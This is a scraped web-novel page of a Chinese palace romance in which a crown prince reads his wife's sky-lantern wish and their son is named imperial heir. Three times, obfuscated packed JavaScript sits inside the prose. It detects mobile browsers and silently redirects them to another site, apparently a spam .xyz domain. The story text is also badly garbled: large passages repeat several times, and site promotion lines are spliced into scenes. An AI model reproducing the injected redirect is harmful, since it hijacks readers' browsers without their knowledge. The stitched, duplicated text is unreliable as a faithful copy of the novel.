我要吃糕糕。”辞忧太矮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263845|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,看不到桌上的糕点。 但是闻到味儿了。 “你是狗鼻子啊?”云清婳笑着从桌上拿下了一盘花生酥。 辞忧咯咯直笑,她把罩衣上的小兜拉得开开的,机灵地说:“我不是小狗,我是小脑斧。” “为什么啊?”云清婳好奇地问。 “因为爹爹说你是母脑斧。”辞忧嘿嘿一笑,一副求夸奖的表情。 承基也重重点头,表示妹妹的话没毛病。 裴墨染:!!! 扑哧—— 王显、飞霜笑喷了。 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) 云清婳的脸瞬间垮了,她咬牙切齿:“裴!墨!染!” 裴墨染的魂儿都快吓飞。 他快速眨眨眼,“我有说过吗?我可没说!不知道他们上哪儿听的!” “蛮蛮,这两个逆子想害我不是一天两天了!你别信他们!” “蛮蛮,你这么聪明,孩子的话,你不会信的,对不对?” 云清婳觑了他一眼,维持着母亲的端庄、慈祥。 她将花生酥一半倒进辞忧的小兜,把剩下的分给了承基。 “两个逆子,快点回家!再不回家,当心被人牙子拐跑。”裴墨染恐吓道。 辞忧、承基的脸上倒映出惊恐。 王显、飞霜笑着将孩子抱走了。 人走后,云清婳靠在窗牗上,声音娇媚,阴阳怪气道:“原来我是母老虎啊,不知哪位妹妹深得太子青睐,在您心中是小绵羊?” “哪有什么小绵羊?我不喜欢小绵羊,我就喜欢母……”裴墨染及时打住,差点闪了舌头,他惶恐的看着她。 云清婳被气笑了,她转过脸,懒得理他。 “蛮蛮,我胡说八道的,你就当我发疯,别生气啊。”他抓住她的手。 她把手从他手中抽出,裴墨染赶紧阖上眼,一副视死如归的表情。 就像要迎接她的巴掌。 云清婳有些无奈,她在他心里这么霸道蛮横吗? 动辄扇他? “夫君真觉得我是母老虎吗?”她嘟着嘴,一脸委屈。 第314章 他也想身心干净 “自然不是我说笑呢 云清婳很想说以后不打他了但是她做不到。 所以她选择PUA。 “夫君蛮蛮打你是因为知道夫君会惯着蛮蛮包容蛮蛮要不然蛮蛮怎么不打别人啊?对不对?” 裴墨染一副理解的表情“我知道。蛮蛮我真是随口说说你有时任性起来很可爱我喜欢你对我发脾气夫妻之间本就该不遮不掩。” 她看似耿耿于怀噘着嘴不理他。 “蛮蛮我敬你。”裴墨染殷勤的为她倒了一杯香醇浓烈的酒。 她的眼眸一黯。 狗男人居然想灌醉她! 她捻着酒杯喝下一杯酒。 可裴墨染得寸进尺又倒了三杯她一一饮下。 少顷她的脸蛋晕出一抹绯红双颊像是绽开了桃花。 她右手微微扶额颇有几分醉美人的韵味“夫君不能再喝了我会醉的。” “无妨有我在你怕什么?”裴墨染的眼神带有侵略性似狼一般贪婪。 他又为她添了一杯酒心下激动不已。 蛮蛮醉酒时媚态尽显比往常还要勾人不说关键是她一旦喝醉便会分外粘着他。 他喜欢蛮蛮对他露白离不开他的样子。 “最后一杯如何?”他捏着酒杯与她手中的酒杯相撞。 云清婳在心里痛骂了他一百遍噘着嘴道:“不喝了这酒太烈会把孩子熏醉的。” 裴墨染有些遗憾。 不过看她面颊粉红媚眼如丝估摸着她也醉了几分。 他轻拍了拍她的背从桌上挑了块撒了蜜的莲蓉糕喂她吃。 云清婳咬了一口莲蓉糕摇摇头表示不喜欢。 他自然地将剩下半块糕点喂进嘴里“头晕不晕?我背你回去。” “殿下玉体尊贵妾身怎敢差使您?”云清婳揶揄道。 裴墨染又气又好笑“你差使我还少了?” 他蹲下身背对着她“快上来。” 云清婳也不矫情顺从地趴在他的背上双手环抱着他的脖子滚烫的小脸贴在他的脸颊上。 裴墨染 脸上的肌肤温凉让她顿感舒服“唔……我好热夫君一定给我下药了。” 他托着她的大腿耳根子染上了几分羞涩的红。 这小妮子一喝醉说话就没轻没重。 但孟浪的刚刚好让他喜欢得紧。 “我哪儿敢?我也喝了酒水。”他柔声道。 “可我的心跳得好快莫非夫君就是**?把蛮蛮迷住了?”她戳了戳他高挺的鼻梁玩意顿发。 裴墨染的心跳倏地也加快他的面皮滚烫又羞又臊血液激涌。 心理、生理全然被她一句话给撩拨到了。 “蛮蛮还在外面呢别乱说话。”他哑声道。 她发出银铃般的笑声“夫君害羞了?又没人偷听你这是做贼心虚。” 他的喉结上下滚动隐忍道:“可我听不得。” “……”云清婳听懂了他话中的深意登时不敢调戏他了。 在外面狼性大发裴墨染完全干得出来。 他将身后的人颠了颠状似不经意地问:“蛮蛮你真嫌我老?” 云清婳微愣。 狗男人还在耿耿于怀方才她说的话。 她就是不让他痛快反正在裴墨染心里她现在是似醉非醉的状态。 “谁不喜欢年轻的?” 她似乎没有察觉他周身笼罩的阴郁。 “凭什么夫君可以三妻四妾 裴墨染突然停住脚步止步不前他的神色复杂像是笼罩了一层阴霾让人看不清明。 男人因为被戳中心事而恼羞成怒却不得不压抑着怒气“我看你这个小妮子是真的无法无天了!” “那能一样吗?我只想要你那些女子都是迫不得已才……” 云清婳打断他的话她故意气他“裴墨染下辈子我当男人你做女子。你当正妻我后宅也娶几十房夫人。什么温文尔雅的解语花、性情奔放的小辣椒……” “不对你一开始只能作妾我大房夫人出事了你才能上位。” 裴墨染的心刺痛他不想想象那副画面。 但是脑海里已经跳出江培玉、裴云澈、谢泽修的面孔了。 他们向蛮蛮献媚蛮蛮 还来者不拒。 而他连生气的资格都没有。 感情就是这样会让人想要占有对方的全部! 不容旁人侵犯丝毫。 忽的裴墨染心中生出了一股侥幸。 幸好他是男子蛮蛮是女子。 若是性别反过来蛮蛮一定看不上他。 “我知道我不是一个好丈夫除了一颗心什么都给不了你。但木已成舟我就是这么糟糕我也没办法。”裴墨染摆烂了。 他本来想狡辩说自己是一个好男人。 但蛮蛮伶牙俐齿让他无从抵赖。 或许是醉意上头亦或是她今日身心舒畅。 云清婳一抬头眼中流露出三分真情“裴墨染下辈子你不要再这么苦了。” 他的心尖很暖像是暖流环绕可紧接着下一句话却让他的心被揪作一团。 “我们也不要遇见了。”也希望姐姐能平安顺遂好人得好报。 裴墨染的心他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近可他好像从未全然得到过她。 他的剑眉一蹙偏执道:“凭什么?我们生生世世都要在一起下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人还想有下辈子? 裴墨染听到了她的话但不敢争执。 他早就感受到了自从蛮蛮失去了他们的第一个孩子从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮早就被他‘害死’了。 当然蛮蛮现在也爱他只是她的心中还夹杂了很多事早就不复从前了。 下了百萃楼许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来他道:“蛮蛮放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起 云清婳走到小贩的摊位前随手挑了盏孔明灯。 她执笔上面写下愿望。 你的朋友正在书荒,快去帮帮他吧 还来者不拒。 而他,连生气的资格都没有。 感情就是这样,会让人想要占有对方的全部! 不容旁人侵犯丝毫。 忽的,裴墨染心中生出了一股侥幸。 幸好,他是男子,蛮蛮是女子。 若是性别反过来,蛮蛮一定看不上他。 “我知道,我不是一个好丈夫,除了一颗心,什么都给不了你。但木已成舟,我就是这么糟糕,我也没办法。”裴墨染摆烂了。 他本来想狡辩,说自己是一个好男人。 但蛮蛮伶牙俐齿,让他无从抵赖。 或许是醉意上头,亦或是她今日身心舒畅。 云清婳一抬头,眼中流露出三分真情,“裴墨染,下辈子,你不要再这么苦了。” 他的心尖很暖,像是暖流环绕,可紧接着下一句话,却让他的心被揪作一团。 “我们也不要遇见了。”也希望姐姐能平安顺遂,好人得好报。 裴墨染的心,他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近,可他好像从未全然得到过她。 他的剑眉一蹙,偏执道:“凭什么?我们生生世世都要在一起,下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人,还想有下辈子? 裴墨染听到了她的话,但不敢争执。 他早就感受到了,自从蛮蛮失去了他们的第一个孩子,从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮,早就被他‘害死’了。 当然,蛮蛮现在也爱他,只是她的心中还夹杂了很多事,早就不复从前了。 下了百萃楼,许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来,他道:“蛮蛮,放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰,将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起,就好像没发生过。 云清婳走到小贩的摊位前,随手挑了盏孔明灯。 她执笔上面写下愿望。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 还来者不拒。 而他连生气的资格都没有。 感情就是这样会让人想要占有对方的全部! 不容旁人侵犯丝毫。 忽的裴墨染心中生出了一股侥幸。 幸好他是男子蛮蛮是女子。 若是性别反过来蛮蛮一定看不上他。 “我知道我不是一个好丈夫除了一颗心什么都给不了你。但木已成舟我就是这么糟糕我也没办法。”裴墨染摆烂了。 他本来想狡辩说自己是一个好男人。 但蛮蛮伶牙俐齿让他无从抵赖。 或许是醉意上头 云清婳一抬头眼中流露出三分真情“裴墨染下辈子你不要再这么苦了。” 他的心尖很暖像是暖流环绕可紧接着下一句话却让他的心被揪作一团。 “我们也不要遇见了。”也希望姐姐能平安顺遂好人得好报。 裴墨染的心他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近可他好像从未全然得到过她。 他的剑眉一蹙偏执道:“凭什么?我们生生世世都要在一起下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人还想有下辈子? 裴墨染听到了她的话但不敢争执。 他早就感受到了自从蛮蛮失去了他们的第一个孩子从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮早就被他‘害死’了。 当然蛮蛮现在也爱他只是她的心中还夹杂了很多事早就不复从前了。 下了百萃楼许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来他道:“蛮蛮放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起就好像没发生过。 云清婳走到小贩的摊位前随手挑了盏孔明灯。 她执笔上面写下愿望。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 还来者不拒。 而他,连生气的资格都没有。 感情就是这样,会让人想要占有对方的全部! 不容旁人侵犯丝毫。 忽的,裴墨染心中生出了一股侥幸。 幸好,他是男子,蛮蛮是女子。 若是性别反过来,蛮蛮一定看不上他。 “我知道,我不是一个好丈夫,除了一颗心,什么都给不了你。但木已成舟,我就是这么糟糕,我也没办法。”裴墨染摆烂了。 他本来想狡辩,说自己是一个好男人。 但蛮蛮伶牙俐齿,让他无从抵赖。 或许是醉意上头,亦或是她今日身心舒畅。 云清婳一抬头,眼中流露出三分真情,“裴墨染,下辈子,你不要再这么苦了。” 他的心尖很暖,像是暖流环绕,可紧接着下一句话,却让他的心被揪作一团。 “我们也不要遇见了。”也希望姐姐能平安顺遂,好人得好报。 裴墨染的心,他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近,可他好像从未全然得到过她。 他的剑眉一蹙,偏执道:“凭什么?我们生生世世都要在一起,下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人,还想有下辈子? 裴墨染听到了她的话,但不敢争执。 他早就感受到了,自从蛮蛮失去了他们的第一个孩子,从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮,早就被他‘害死’了。 当然,蛮蛮现在也爱他,只是她的心中还夹杂了很多事,早就不复从前了。 下了百萃楼,许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来,他道:“蛮蛮,放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰,将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起,就好像没发生过。 云清婳走到小贩的摊位前,随手挑了盏孔明灯。 她执笔上面写下愿望。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 还来者不拒。 而他,连生气的资格都没有。 感情就是这样,会让人想要占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263846|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有对方的全部! 不容旁人侵犯丝毫。 忽的,裴墨染心中生出了一股侥幸。 幸好,他是男子,蛮蛮是女子。 若是性别反过来,蛮蛮一定看不上他。 “我知道,我不是一个好丈夫,除了一颗心,什么都给不了你。但木已成舟,我就是这么糟糕,我也没办法。”裴墨染摆烂了。 他本来想狡辩,说自己是一个好男人。 但蛮蛮伶牙俐齿,让他无从抵赖。 或许是醉意上头,亦或是她今日身心舒畅。 云清婳一抬头,眼中流露出三分真情,“裴墨染,下辈子,你不要再这么苦了。” 他的心尖很暖,像是暖流环绕,可紧接着下一句话,却让他的心被揪作一团。 “我们也不要遇见了。”也希望姐姐能平安顺遂,好人得好报。 裴墨染的心,他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近,可他好像从未全然得到过她。 他的剑眉一蹙,偏执道:“凭什么?我们生生世世都要在一起,下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人,还想有下辈子? 裴墨染听到了她的话,但不敢争执。 他早就感受到了,自从蛮蛮失去了他们的第一个孩子,从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮,早就被他‘害死’了。 当然,蛮蛮现在也爱他,只是她的心中还夹杂了很多事,早就不复从前了。 下了百萃楼,许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来,他道:“蛮蛮,放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰,将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起,就好像没发生过。 云清婳走到小贩的摊位前,随手挑了盏孔明灯。 她执笔上面写下愿望。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 还来者不拒。 而他连生气的资格都没有。 感情就是这样会让人想要占有对方的全部! 不容旁人侵犯丝毫。 忽的裴墨染心中生出了一股侥幸。 幸好他是男子蛮蛮是女子。 若是性别反过来蛮蛮一定看不上他。 “我知道我不是一个好丈夫除了一颗心什么都给不了你。但木已成舟我就是这么糟糕我也没办法。”裴墨染摆烂了。 他本来想狡辩说自己是一个好男人。 但蛮蛮伶牙俐齿让他无从抵赖。 或许是醉意上头亦或是她今日身心舒畅。 云清婳一抬头眼中流露出三分真情“裴墨染下辈子你不要再这么苦了。” 他的心尖很暖像是暖流环绕 “我们也不要遇见了。”也希望姐姐能平安顺遂好人得好报。 裴墨染的心他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近可他好像从未全然得到过她。 他的剑眉一蹙偏执道:“凭什么?我们生生世世都要在一起下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人还想有下辈子? 裴墨染听到了她的话但不敢争执。 他早就感受到了自从蛮蛮失去了他们的第一个孩子从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮早就被他‘害死’了。 当然蛮蛮现在也爱他只是她的心中还夹杂了很多事早就不复从前了。 下了百萃楼许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来他道:“蛮蛮放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起就好像没发生过。 云清婳走到小贩的摊位前随手挑了盏孔明灯。 她执笔上面写下愿望。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 还来者不拒。 而他,连生气的资格都没有。 感情就是这样,会让人想要占有对方的全部! 不容旁人侵犯丝毫。 忽的,裴墨染心中生出了一股侥幸。 幸好,他是男子,蛮蛮是女子。 若是性别反过来,蛮蛮一定看不上他。 “我知道,我不是一个好丈夫,除了一颗心,什么都给不了你。但木已成舟,我就是这么糟糕,我也没办法。”裴墨染摆烂了。 他本来想狡辩,说自己是一个好男人。 但蛮蛮伶牙俐齿,让他无从抵赖。 或许是醉意上头,亦或是她今日身心舒畅。 云清婳一抬头,眼中流露出三分真情,“裴墨染,下辈子,你不要再这么苦了。” 他的心尖很暖,像是暖流环绕,可紧接着下一句话,却让他的心被揪作一团。 “我们也不要遇见了。”也希望姐姐能平安顺遂,好人得好报。 裴墨染的心,他有种深深地无力感、不安感。 永远都是这样。 蛮蛮明明离他这么近,可他好像从未全然得到过她。 他的剑眉一蹙,偏执道:“凭什么?我们生生世世都要在一起,下辈子我的身与心都只属于你。” 他会身心干净的等着她。 “做梦。”她讥诮的轻声说了一句。 一个纸片人,还想有下辈子? 裴墨染听到了她的话,但不敢争执。 他早就感受到了,自从蛮蛮失去了他们的第一个孩子,从悬崖上跌下后便心灰意冷了。 最爱他的蛮蛮,早就被他‘害死’了。 当然,蛮蛮现在也爱他,只是她的心中还夹杂了很多事,早就不复从前了。 下了百萃楼,许多男男女女正在放天灯。 裴墨染似乎已经从方才的不愉快中抽身出来,他道:“蛮蛮,放天灯吗?今年生辰还没许愿呢。” “嗯。” 裴墨染弯腰,将云清婳从背后放下。 方才的事二人心照不宣的谁也没提起,就好像没发生过。 云清婳走到小贩的摊位前,随手挑了盏孔明灯。 她执笔上面写下愿望。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第315章 你可要脸? 裴墨染侧过头要看,她立即挡住,小脸一拧,红扑扑的脸颊像一颗苹果,“夫君不许看!” “好,我不看。”他自觉地转过身。 云清婳的眼中闪过精光。 她将孔明灯放飞。 …… 回到东宫后,云清婳、裴墨染便接到了天大的喜讯。 御前太监早在玄音阁等候依旧。 他送来圣旨——册立承基为皇太孙,册立辞忧为郡主。 云清婳喜不自胜。 承基被封为皇太孙,裴墨染的位置更稳了。 只要承基不出大错,将来承基必会继承皇位。 “儿臣代皇太孙、郡主谢陛下。”云清婳恭敬地跪地谢恩。 裴墨染双手接过圣旨,他虽面无表情,可云清婳看得出他面下隐隐显露的喜色。 御前太监首次咧嘴笑,露出几分谄媚,“殿下、太子妃,还有件事奴才要说一声,陛下将皇后娘娘禁足了,日后无事不得去请安,以免激怒圣上。” 他说这些无非是为了卖好,告诉他们,与他们敌对的皇后被禁足了。 “多谢公公提醒,母后的身子抱恙,多养养也好。”云清婳递给飞霜一个眼神。 飞霜从荷包里抓了一把金瓜子递给的御前太监。 御前太监连连作揖感谢。 他带人走后,裴墨染激动地将云清婳抱了起来,在原地转圈。“蛮蛮……太好了……” “承基是皇太孙了……”他有种苦尽甘来之感。 云清婳明白他的心路历程。 她扶着他的肩膀,惊恐道:“夫君,酒还没解,我快晕了……” “对不住,我忘了。”裴墨染这才放下她。 他情难自禁的在她的唇瓣上狠狠亲了一口。 顾不得旁边还有人在。 四下的婢女红了脸,羞赧地垂下脑袋。 “讨厌!”云清婳捏着拳头在他胸口捶了一下。 电光火石之间,她想到一件事。 她扳着手指头算了算,按照原著,这一年皇上便日薄西山,身子开始走下坡路了。又恰逢裴墨染**,皇上在病痛惊惧中被迫写下立储诏书,之后没多久就过世了。 皇上今日送来圣旨,看样子他的 身子已经不行了。 可能就是这几个月的事了…… “怎么了?”裴墨染笑吟吟地捧着她的脸。 “夫君,皇上对承基、辞忧很好,你也要多多关心皇上啊。”她道。 因为事情太顺利了,她感到不安。 她害怕狗皇帝会变卦。 裴墨染道:“我知道,当了父亲后,我似乎有点明白他了。” 云清婳有些担心,她不怕别的,就怕裴云澈作妖。 “我还有事,蛮蛮,你先睡,不必等我。”裴墨染递给飞霜一个眼色。 “给太子妃煮些醒酒汤。” 飞霜福福身,“是。” 裴墨染似乎有急事,急如星火地走了。 云清婳盯着他的背影,脸上露出戏谑之色。 直到他的背影消失在夜色中。 飞霜揉揉后脑勺,她红着脸道:“奴婢还以为殿下今晚会……” “小飞霜,你学坏了。”云清婳捏捏她脸上的婴儿肥。 飞霜吐吐舌头,假正经道:“奴婢可什么都没说。” …… 长信殿。 裴墨染风风火火地推门而入,他的双眼炯炯有神,“怎么样?太子妃放的天灯可射下来了?” 王显摇摇头,他的嘴巴张张合合,神情纠结,欲言又止。“……” 裴墨染找了个舒服的姿势倚靠在上首的檀木椅上,“想说什么,说吧。” 王显像是憋了好久,终于找到了倾泻口,他连忙吐露:“殿下,这毕竟是太子妃的秘密,旁人看了不好。若是被太子妃知道,恐怕太子妃会不愉。” “本宫怎能算是旁人?再说了,只要你们把嘴管住,太子妃怎会知道?”他的剑眉一拧,声音陡然拔高。 王显在心里叹了口气,“是。” 少顷,几个副将拿着被箭射穿的孔明灯回来了。 几人的脸灰蒙蒙的,提心吊胆。 “拿上来。”裴墨染慵懒的勾勾手,上位者的气场陡然爆发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273652|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,面色冷傲,居高临下道。 “呃……”几个副将面面相觑,很是为难。 最年轻的副将道:“殿下,这毕竟是太子妃的隐私,您还是不要看了吧。” “是啊,太子妃跟殿下感 情深厚,若是窥探隐私,岂不是说明不信任对方?”另一个副将应和。 其他副将使劲点头:“对!” 裴墨染不耐烦的觑了他们一眼,那眼神就像在说:这种鬼话怎会从你们的嘴里说出来? 他攥着拳头,耐着性子道:“蛮蛮总是把事情憋在心里,本宫不窥探她的隐私,怎么帮她实现愿望?” “殿下,您对太子妃的心意天地可鉴,可俗话说,愿望被别人知道就不灵了。”最年长的副将干笑两声,把天灯往身后藏了藏。 裴墨染的面色一厉,他怒道:“你们疯了?有本宫在,蛮蛮的愿望怎会不灵?她只要不要天上的星星,本宫都能弄来!把天灯给本宫拿来!” 副将一脸便秘的表情,他们龟缩在后面,都不愿把天灯亲手交给裴墨染。 裴墨染腾的站起身,掐死他们的心都有了。 “扭扭捏捏,你们究竟在推三阻四什么?”他气质冷傲,眼中射出寒光,一步步朝他们逼近。 副将连声叹气,“殿下,这是夫妻之间信任的问题,真的不能看啊……” “殿下,下官也是为了您跟太子妃好……” “殿下……” 裴墨染再也忍不住心头的怒火,他刻薄地讽刺:“你们有媳妇吗?一个两个找不到女人,有什么资格教训本宫?可笑!” 副将们露出一副被伤自尊的难言的表情。 最年轻的副将撇撇嘴,眼中闪过幸灾乐祸,把天灯递了出来。 他字正腔圆道:“请殿下过目。” “早这样不就好了?有病!”裴墨染觉得莫名其妙,一把从他的手中接过天灯。 他低头一看,脸当即绿了,眼眸瞪得像一对铜铃。 副将脸上的担忧、同情化作了幸灾乐祸,他们极力忍笑。 因为天灯上写着——看我天灯者,必倒大霉!夫君,你可要脸? 第316章 咱们不生了 裴墨染的眸中闪过惊恐跟心虚他的手都颤了颤下意识将天灯藏在身后然后左右张望着门口。 蛮蛮居然早就猜到他会窥探她的心愿…… 一种难言、被死死拿捏的感觉笼罩在裴墨染的心上。 他突然觉得自己像是一只蛐蛐被蛮蛮关进了笼子里逗弄。 副将幸灾乐祸道:“诶呀呀属下早劝殿下不要看殿下非要看。” “唉太子妃简直是女诸葛啊!料事如神!” “殿下只能吃下这个哑巴亏假装不知道咯。” 裴墨染将天灯丢给王显面颊泛着不明显的红“赶紧烧了!” “是。”王显看到天灯上的字先是一惊随后差点笑出声。 他抱着天灯就往外跑才打开他吓得差点一屁股坐到地上。 “太、太子妃……”王显瞠目结舌。 云清婳挤出象征性的笑 她神色端庄落落大方地说道:“夫君跟各位将军在讨论政务?” “嗯。”裴墨染颔首。 其他副将跟着颔首“对!” 她的眸子一轮眸光射在王显藏在身后的天灯上她柔声道:“原来如此!不知道的还以为夫君跟将军们在研讨放天灯呢。” “呃……”几人如鲠在喉只能听着她的讽刺。 “几个人放一盏天灯够吗?”她又问。 裴墨染的脸像是开了染坊脸色一会儿红一会儿绿“……” “够!”副将嘿嘿地干笑。 云清婳剐了他们一眼转身就走。 裴墨染急忙在后面追。 “蛮蛮……” 云清婳故意放慢了脚步。 她早就猜到裴墨染的心思了。 没办法她实在太熟悉他了。 他眨眨眼她就知道他在动什么鬼心思。 夜寒凉如水四下无人万籁俱静。 未几裴墨染就追上了云清婳。 经过抄手游廊时一股大力攥住她的手腕将她整个人猛地抵在廊柱上。 “蛮蛮~”他讨好地堆笑着撒娇般唤了一声。 啪—— 她扬起手一巴掌甩了过去。 清脆的巴掌声在暗夜里回荡。 她的手心都被打疼了可裴墨染却没什么反应就好像一点都不疼。 “你打了我就不许生气了啊。”他贱兮兮地笑道。 云清婳看着他这副表情就来气 因为怕把他打爽。 她似哭非哭凝眉瞪着他“有意思吗?” “我都挨了一巴掌你也该消气了别哭啊。”他连忙用指腹擦拭着她的眼角。 云清婳推开他又一字一顿地问:“有意思吗?” 他心虚地垂下眼“蛮蛮我承认我看了你的天灯!但我绝没有窥探你隐私的想法我只是想帮你实现愿望。” 她自然知道裴墨染的目的。 可她不喜欢被人窥探隐私。 裴墨染犯规了。 “夫君可真自大!我的愿望你都能实现吗?”她冷声反问。 他握着她的双肩正色道:“自然我是大昭太子!你总是这么懂事什么都不向我要所以我才出此下策。” 她想杀死裴云澈、皇后他能做到吗? “我想要姐姐活过来你能做到吗?”她咄咄逼人般地反问。 裴墨染语塞。 他自然做不到。 “夫君愿望被其他人看见就不灵了。”她的态度软了下来“况且你像是在调查我倘若我今日写了你不爱看的内容你会在心里讨厌我的。人是不经查的你这样会消耗我们夫妻感情。” 他信誓旦旦道:“我不会!” 她叹了口气。 裴墨染连忙继续道:“蛮蛮你生气我认!我的行为的确像在查你但既然你不喜欢我日后不会再犯了。” 云清婳环抱着他的腰。 她深知打一巴掌赏颗甜枣的道理。 她嘴甜道:“我好幸运啊嫁了一个这么疼我的夫君。” 裴墨染的笑容不断加深“我也好幸运娶到了蛮蛮。” …… 夜里裴墨染折腾了许久。 他仿佛不知疲倦精力比以往都要充沛更声不知敲了多少下裴墨染吻着她的鬓角缠着她要了一次又一次。 天色既白暖帐内才渐渐归于平静。 男人不甘、偏执的声音在她的耳畔不断响起 “……”她默不作声心里只觉得恐怖。 他下辈子也不放过她? “回答我嗯?”他责怪她的逃避报复性咬住她的耳垂。 温热的眼泪从她的眼眶滑落她哼唧一声“嗯。” “蛮蛮!回答我不许糊弄。”他一把揽住她的细腰作势还要欺身上来。 云清婳吓得腿在发抖她娇滴滴道:“下辈子的事谁说得准?也许再过两年夫君就变心了。” 他前所未有的认真“我不会!一直以来我都知道我要的是什么!否则我不会走到今天。” 曾经的他只爱自己。 赵婉宁、蛮蛮都被他伤害过。 但现在他清楚地知道这世上除了皇位之外还有其他珍贵的人。 蛮蛮、孩子…… 他捏着她的下巴作势要亲上去云清婳忙不迭推开他的脸“下辈子我们还在一起就是了你别乱来了。” 她脸不红心不跳。 反正她是个坏女人说谎话根本没有心理负担。 更何况裴墨染一个纸片人他能有什么下辈子? 裴墨染心满意足欺身压下云清婳惊呼“你怎么骗人啊?不是说好了歇息吗?天亮了还要抱孩子进宫谢恩。” “什么时候说好了?”他耍无赖又想攻城略地“我是你的夫君!在榻上你得听我的!” 云清婳的眼中闪过狡黠“好啊咱们再给承基、辞忧添个弟弟妹妹。” “……” 帐中瞬间安静了。 裴墨染体内燃起的火气像是被一盆冰水浇熄。 瞬间所有旖旎的杂念都没有了。 有心也无力了。 他起身重新平躺在她身侧。 “不生了咱们不生了。”他低声喃喃自语。 他不敢拿蛮蛮的身体赌。 而且有承基跟辞忧就够了。 这两个小家伙已经够让他吃不消了。 再来一个他得烦死。 云清婳险些笑出声。 …… 十天后北镇抚司就查到了鹦鹉案的幕后主使。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 男人不甘、偏执的声音在她的耳畔不断响起,像是魔音贯耳:“蛮蛮,下辈子我们还要在一起,我一定不会娶别人,你一定要嫁我。 “……她默不作声,心里只觉得恐怖。 他下辈子也不放过她? “回答我,嗯?他责怪她的逃避,报复性咬住她的耳垂。 温热的眼泪从她的眼眶滑落,她哼唧一声,“嗯。 “蛮蛮!回答我,不许糊弄。他一把揽住她的细腰,作势还要欺身上来。 